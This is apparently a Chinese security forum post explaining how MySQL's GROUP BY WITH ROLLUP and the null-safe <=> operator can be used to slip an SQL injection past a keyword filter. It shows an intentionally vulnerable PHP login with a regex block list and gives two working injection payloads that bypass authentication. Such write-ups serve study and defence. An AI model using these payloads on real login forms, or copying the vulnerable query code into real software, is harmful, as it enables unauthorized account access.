安全矩阵

 找回密码
 立即注册
搜索
查看: 2447|回复: 0

红队技巧|MySQL偏门注入

[复制链接]

77

主题

77

帖子

257

积分

中级会员

Rank: 3Rank: 3

积分
257
发表于 2021-10-13 17:34:45 | 显示全部楼层 |阅读模式
说明
工作之后,目前工作内容就是写代码和研究Linux内核相关的知识,已经很少研究有关SQL注入等相关知识了。这篇文章是最近在整理自己电脑文件时发现的。与其藏在角落里,还不如和大家一起分享下。由于时间过于久远,也无法确认是不是已经有人已经分享过了。
rollup简介
mysql中的group by后面可以接with rollup修饰语,使用with rollup修饰语可以在group by结果后面增加一行(该行内容中的group by的列返回NULL,其他列返回相应的内容)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 没有rollup
mysql> select Host,User from user  group  by host;
+-----------+------------+
| Host      | User       |
+-----------+------------+
| %         | wackopicko |
| 127.0.0.1 | root       |
| ::1       | root       |
| localhost | root       |
+-----------+------------+
4 rows in set (0.00 sec)

# 有rollup
mysql> select Host,User from user  group  by host with rollup ;
+-----------+------------+
| Host      | User       |
+-----------+------------+
| %         | wackopicko |
| 127.0.0.1 | root       |
| ::1       | root       |
| localhost | root       |
| NULL      | root       |
+-----------+------------+
5 rows in set (0.00 sec)
可以看到使用with rollup之后,返回结果中会多一行,且Host字段为NULL。
以一个稍微复杂一点的例子来说明with rollup的用法。
创建数据库
1
2
3
4
5
CREATE TABLE `t` (
`id` int(11) DEFAULT NULL,
`id2` int(11) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
insert into t value(11,11),(12,12),(13,13);
使用rollup查询
1
2
3
4
5
6
7
8
9
10
mysql> select id,sum(id2),avg(id2) from t group by id with rollup;
+------+----------+----------+
| id   | sum(id2) | avg(id2) |
+------+----------+----------+
|   11 |       11 |  11.0000 |
|   12 |       12 |  12.0000 |
|   13 |       13 |  13.0000 |
| NULL |       36 |  12.0000 |
+------+----------+----------+
4 rows in set (0.00 sec)
可以发现对于group by的列(在本例中为id),返回为NULL,对于其他列则是进行正常的操作(在本例中为sum和avg操作)。
rollup绕过检测
存在users表,其中仅仅只存在一条记录。
1
2
3
4
5
6
7
8
9
-- auto-generated definition
CREATE TABLE users
(
  id       INT AUTO_INCREMENT PRIMARY KEY,
  username VARCHAR(255) NULL,
  password VARCHAR(255) NULL,
  CONSTRAINT users_id_uindex
  UNIQUE (id)
);
需要绕过的代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function AttackFilter($StrKey,$StrValue,$arrReq) {
    if(is_array($StrValue)) {
        $StrValue = implode($StrValue);
    }
    if(preg_match("/".$arrReq."/is",$StrValue) == 1) {
        print "the attack is detected";
        exit();
    }
}

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)|like|rlike|regexp";

foreach ($_POST as $key=>$value) {
    AttackFilter($key,$value,$filter);
}


$username = @$_POST['username'];
$password = @$_POST['password'];
$query = "select * from users WHERE username='{$username}'";
$query = mysqli_query($conn,$query);

if(mysqli_num_rows($query) == 1) {
    $result = mysqli_fetch_array($query);
    if($result['password'] == $password) {
        die('right');
    }
}
这道题目与常规的md5的登录注入类似,但是无法使用union子句,此时就可以使用rollup子句。
1
select * from users where username=''or 1 group by username with rollup
会产生一条password为NULL的记录,使用limit取出这条语句,然后传入空的password,最后就会NULL==NULL而绕过验证。
如果不知道用户名,可以使用username=' or 1=1。但是在本例中过滤了or,那么可以使用username='=0(利用’’=0的特性)。
POC为:
1
POST:username='=0 group by password with rollup limit 1 offset 1#&password=
<=>
同样是上面的那道题目,在POC中使用了limit。如果limit无法使用也被过滤了,则该如何绕过呢?
那么需要看一下SELECT的语法了。`
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
SELECT
    [ALL | DISTINCT | DISTINCTROW ]
      [HIGH_PRIORITY]
      [STRAIGHT_JOIN]
      [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
      [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
    select_expr [, select_expr ...]
    [FROM table_references
      [PARTITION partition_list]
    [WHERE where_condition]
    [GROUP BY {col_name | expr | position}
      [ASC | DESC], ... [WITH ROLLUP]]
    [HAVING where_condition]
    [ORDER BY {col_name | expr | position}
      [ASC | DESC], ...]
    [LIMIT {[offset,] row_count | row_count OFFSET offset}]
    [PROCEDURE procedure_name(argument_list)]
    [INTO OUTFILE 'file_name'
        [CHARACTER SET charset_name]
        export_options
      | INTO DUMPFILE 'file_name'
      | INTO var_name [, var_name]]
    [FOR UPDATE | LOCK IN SHARE MODE]]
GROUP BY后面可以接HAVING子句,如果需要HAVING子句生效,则需要后面的where_condition为True。如果直接使用HAVING password=null的话不会生效因为mysql中 null = null 会返回 null。当 null <=> null 的时候会返回1。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select null=null;
+-----------+
| null=null |
+-----------+
|      NULL |
+-----------+
1 row in set (0.00 sec)

mysql> select null<=>null;
+-------------+
| null<=>null |
+-------------+
|           1 |
+-------------+
1 row in set (0.00 sec)
所以最终的POC为:
1
username='=0 group by password with rollup having password <=>null %23&password=
参考
MySQL group by with rollup
MySQL注入的一些偏门技巧

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-22 19:20 , Processed in 0.019290 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表